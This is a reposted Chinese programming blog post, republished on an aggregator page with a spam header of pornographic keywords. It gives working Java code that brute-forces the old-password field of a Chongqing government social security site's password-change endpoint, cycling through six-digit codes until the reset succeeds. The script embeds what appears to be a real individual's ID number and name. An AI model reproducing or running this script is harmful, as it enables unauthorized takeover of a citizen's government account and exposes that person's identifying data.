日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

重庆社保局密码重置

發(fā)布時間:2024/4/15 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 重庆社保局密码重置 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

登錄:http://ggfw.cqhrss.gov.cn/ggfw/index1.jsp

F12獲取修改密碼路徑:http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do

?

一、新建實體接受 返回對象

package com.ycgwl;public class rel {private String code;private String message;public String getCode() {return code;}public void setCode(String code) {this.code = code;}public String getMessage() {return message;}public void setMessage(String message) {this.message = message;}} package com.ycgwl;import java.io.IOException; import java.io.InputStream; import java.io.OutputStreamWriter; import java.net.HttpURLConnection; import java.net.URL;import com.alibaba.fastjson.JSON;public class Bean {public static void main(String[] args) {String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";String urlpara = "bh=500102199210245995&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";for(int i=465;i<1000000;i++) {String pwdd = getPwdString(i);if(pwdd.equals("")) {System.out.println("獲取密碼出錯");System.exit(0);}String result = Post(url,urlpara.replace("pwd", pwdd));while("IOException".equals(result)) {result = Post(url,urlpara.replace("pwd", pwdd));}System.out.println(i+"``````````````````"+result);rel rel = JSON.parseObject(result, rel.class);if(!rel.getCode().equals("0")) {System.out.println("設(shè)置成功");System.exit(0);}}}public static String Post(String strURL, String params) { try { URL url = new URL(strURL);// 創(chuàng)建連接 HttpURLConnection connection = (HttpURLConnection) url.openConnection();connection.setDoOutput(true); connection.setDoInput(true); connection.setUseCaches(false); connection.setInstanceFollowRedirects(true); connection.setRequestMethod("POST"); // 設(shè)置請求方式 connection.setReadTimeout(100);connection.connect(); OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8編碼 out.append(params); out.flush(); out.close(); InputStream is = connection.getInputStream(); byte[] temp = new byte[connection.getContentLength()]; is.read(temp);String result = new String(temp, "UTF-8"); // utf-8編碼 return result; } catch (IOException e) { return "IOException";}}public static String getPwdString(int index) {int length = String.valueOf(index).length();switch (length) {case 1:return "00000"+index;case 2:return "0000"+index;case 3:return "000"+index;case 4:return "00"+index;case 5:return "0"+index;case 6:return ""+index;default:return "";}} }

?

轉(zhuǎn)載于:https://www.cnblogs.com/acme6/p/9342478.html

總結(jié)

以上是生活随笔為你收集整理的重庆社保局密码重置的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。